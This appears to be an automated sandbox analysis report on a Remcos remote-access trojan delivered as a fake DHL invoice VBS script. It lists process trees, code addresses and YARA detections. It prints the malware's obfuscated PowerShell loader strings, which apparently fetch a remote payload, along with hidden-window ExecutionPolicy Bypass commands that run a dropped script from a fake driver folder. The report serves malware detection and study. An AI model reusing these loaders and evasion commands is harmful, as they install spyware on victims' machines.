'iAGsAbQAkADsAKQAoAGUAcw' + [char]66 + 'vAHAAcw' + [char]66 + 'pAGQALg' + [char]66 + '6AHgAYg' + [char]66 + 'rAG0AJAA7ACkAIAAnAHQAeA' + [char]66 + '0AC4AMQAwAEwATA' + [char]66 + 'EAC8AMQAwAC8Acg' + [char]66 + 'lAHQAcA' + [char]66 + '5AHIAYw' + [char]66 + 'wAFUALw' + [char]66 + 'yAGIALg' + [char]66 + 'tAG8AYwAuAHQAYQ' + [char]66 + 'yAGIAdg' + [ch
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qKKzc = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAEQAMQ' + [char]66 + 'EACAARAAnACAALAAgAFgAUA' + [char]66 + 'VAHUAaAAkACAALAAgACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAGIAMg' + [char]66 + 'jAGEAcw' + [char]66 + 'lAC4AYw' + [char]66 + 'vAG0ALw' + [char]66 + 'jAGwAYQ' + [char]66 + 'zAHMALg' + [char]66 + '0AHgAdAAnACAAKAAgAF0AXQ' + [char]66 + 'bAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'vAFsAIAAsACAAbA' + [char]66 + 'sAHUAbgAkACAAKA' + [char]66 + 'lAGsAbw' + [char]66 + '2AG4ASQAuACkAIAAnAEkAVg' + [char]66 + 'GAHIAcAAnACAAKA' + [char]66 + 'kAG8AaA' + [char]66 + '0AGUATQ' + [char]66 + '0AGUARwAuACkAJwAxAHMAcw' + [char]66 + 'hAGwAQwAuADMAeQ' + [char]66 + 'yAGEAcg' + [char]66 + 'iAGkATA' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMAJwAoAGUAcA' + [char]66 + '5AFQAdA' + [char]66 + 'lAEcALgApACAAWg' + [char]66 + 'jAEIAYw' + [char]66 + 'hACQAIAAoAGQAYQ' + [char]66 + 'vAEwALg' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + '0AG4AZQ' + [char]66 + 'yAHIAdQ' + [char]66 + 'DADoAOg' + [char]66 + 'dAG4AaQ' + [char]66 + 'hAG0Abw' + [char]66 + 'EAHAAcA' + [char]66 + '' + [char]66 + 'AC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwA7ACkAIAApACAAJw' + [char]66 + '' + [char]66 + 'ACcAIAAsACAAJwCTIToAkyEnACAAKA' + [char]66 + 'lAGMAYQ' + [char]66 + 'sAHAAZQ' + [char]66 + 'SAC4AZw' + [char]66 + 'TAHoAQw' + [char]66 + 'CAGwAJAAgACgAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMANAA2AGUAcw' + [char]66 + 'hAEIAbQ' + [char]66 + 'vAHIARgA6ADoAXQ' + [char]66 + '0AHIAZQ' + [char]66 + '2AG4Abw' + [char]66 + 'DAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'aAGMAQg' + [char]66 + 'jAGEAJAAgAF0AXQ' + [char]66 + 'bAGUAdA' + [char]66 + '5AEIAWwA7ACcAJQ' + [char]66 + 'JAGgAcQ' + [char]66 + 'SAFgAJQAnACAAPQAgAFgAUA' + [char]66 + 'VAHUAaAAkADsAKQAgAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAHoAeA' + [char]66 + 'iAGsAbQAkACAAPQAgAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAOwA4AEYAVA' + [char]66 + 'VADoAOg' + [char]66 + 'dAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAuAHQAeA' + [char]66 + 'lAFQALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAPQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAuAHoAeA' + [char]66 + 'iAGsAbQAkADsAKQ' + [char]66 + '0AG4AZQ' + [char]66 + 'pAGwAQw' + [char]66 + 'iAGUAVwAuAHQAZQ' + [char]66 + 'OACAAdA' + [char]66 + 'jAGUAag' + [char]66 + 'iAE8ALQ' + [char]66 + '3AGUATgAoACAAPQAgAHoAeA' + [char]66 + 'iAGsAbQAkADsAKQAoAGUAcw' + [char]66 + 'vAHAAcw' + [char]66 + 'pAGQALg' + [char]66 + '6AHgAYg' + [char]66 + 'rAG0AJAA7ACkAIAAnAHQAeA' + [char]66 + '0AC4AMQAwAEwATA' + [char]66 + 'EAC8AMQAwAC8Acg' + [char]66 + 'lAHQAcA' + [char]66 + '5AHIAYw' + [char]66 + 'wAFUALw' + [char]66 + 'yAGIALg' + [char]66 + 'tAG8AYwAuAHQAYQ' + [char]66 + 'yAGIAdg' + [ch	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,	29_2_0040DD85
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_00401806 NtdllDefWindowProc_W,	29_2_00401806
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_004018C0 NtdllDefWindowProc_W,	29_2_004018C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_004016FD NtdllDefWindowProc_A,	30_2_004016FD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_004017B7 NtdllDefWindowProc_A,	30_2_004017B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 31_2_00402CAC NtdllDefWindowProc_A,	31_2_00402CAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 31_2_00402D66 NtdllDefWindowProc_A,	31_2_00402D66

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 23_2_004167EF ExitWindowsEx,LoadLibraryA,GetProcAddress,

23_2_004167EF

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B9830E9	4_2_00007FFD9B9830E9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD9B962E11	5_2_00007FFD9B962E11
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD9B8A7DD0	13_2_00007FFD9B8A7DD0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD9B970E8D	13_2_00007FFD9B970E8D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00007FFD9B8B8780	19_2_00007FFD9B8B8780
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00007FFD9B980E8D	19_2_00007FFD9B980E8D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 21_2_10017194	21_2_10017194
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 21_2_1000B5C1	21_2_1000B5C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_0043706A	23_2_0043706A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_00414005	23_2_00414005
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_0043E11C	23_2_0043E11C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_004541D9	23_2_004541D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_004381E8	23_2_004381E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_0041F18B	23_2_0041F18B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_00446270	23_2_00446270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_0043E34B	23_2_0043E34B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_004533AB	23_2_004533AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_0042742E	23_2_0042742E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_00437566	23_2_00437566
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_0043E5A8	23_2_0043E5A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_004387F0	23_2_004387F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_0043797E	23_2_0043797E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_004339D7	23_2_004339D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_0044DA49	23_2_0044DA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_00427AD7	23_2_00427AD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_0041DBF3	23_2_0041DBF3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_00427C40	23_2_00427C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_00437DB3	23_2_00437DB3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_00435EEB	23_2_00435EEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_0043DEED	23_2_0043DEED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_00426E9F	23_2_00426E9F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_0044B040	29_2_0044B040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_0043610D	29_2_0043610D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_00447310	29_2_00447310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_0044A490	29_2_0044A490
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_0040755A	29_2_0040755A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_0043C560	29_2_0043C560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_0044B610	29_2_0044B610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_0044D6C0	29_2_0044D6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_004476F0	29_2_004476F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_0044B870	29_2_0044B870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_0044081D	29_2_0044081D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_00414957	29_2_00414957
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_004079EE	29_2_004079EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_00407AEB	29_2_00407AEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_0044AA80	29_2_0044AA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_00412AA9	29_2_00412AA9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_00404B74	29_2_00404B74
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_00404B03	29_2_00404B03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_0044BBD8	29_2_0044BBD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_00404BE5	29_2_00404BE5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_00404C76	29_2_00404C76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_00415CFE	29_2_00415CFE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_00416D72	29_2_00416D72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_00446D30	29_2_00446D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_00446D8B	29_2_00446D8B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_00406E8F	29_2_00406E8F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_00405038	30_2_00405038
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_0041208C	30_2_0041208C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_004050A9	30_2_004050A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_0040511A	30_2_0040511A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_0043C13A	30_2_0043C13A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_004051AB	30_2_004051AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_00449300	30_2_00449300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_0040D322	30_2_0040D322
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_0044A4F0	30_2_0044A4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_0043A5AB	30_2_0043A5AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_00413631	30_2_00413631
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_00446690	30_2_00446690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_0044A730	30_2_0044A730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_004398D8	30_2_004398D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_004498E0	30_2_004498E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_0044A886	30_2_0044A886
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_0043DA09	30_2_0043DA09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_00438D5E	30_2_00438D5E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_00449ED0	30_2_00449ED0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_0041FE83	30_2_0041FE83
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_00430F54	30_2_00430F54
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 31_2_004050C2	31_2_004050C2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 31_2_004014AB	31_2_004014AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 31_2_00405133	31_2_00405133
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 31_2_004051A4	31_2_004051A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 31_2_00401246	31_2_00401246
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 31_2_0040CA46	31_2_0040CA46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 31_2_00405235	31_2_00405235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 31_2_004032C8	31_2_004032C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 31_2_00401689	31_2_00401689
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 31_2_00402F60	31_2_00402F60

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 004169A7 appears 87 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 004165FF appears 35 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 00434801 appears 41 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 00422297 appears 42 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 00434E70 appears 54 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 00402093 appears 50 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 0044DB70 appears 41 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 00401E65 appears 34 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 00444B5A appears 37 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 00413025 appears 79 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 00416760 appears 69 times

Source: DHLShippingInvoicesAwbBL000000000102220242247.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 11450
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 2020
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 11450	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 2020	Jump to behavior

Source: 40.2.powershell.exe.1b33d0e6cd0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 40.2.powershell.exe.1b33d0e6cd0.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 40.2.powershell.exe.1b33d0e6cd0.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 19.2.powershell.exe.1e3b1478da0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 19.2.powershell.exe.1e3b1478da0.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 19.2.powershell.exe.1e3b1478da0.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 23.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 23.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 23.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 23.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 23.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 23.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 35.2.powershell.exe.1a8905a8228.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 35.2.powershell.exe.1a8905a8228.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 35.2.powershell.exe.1a8905a8228.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 13.2.powershell.exe.1ab996e87d0.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
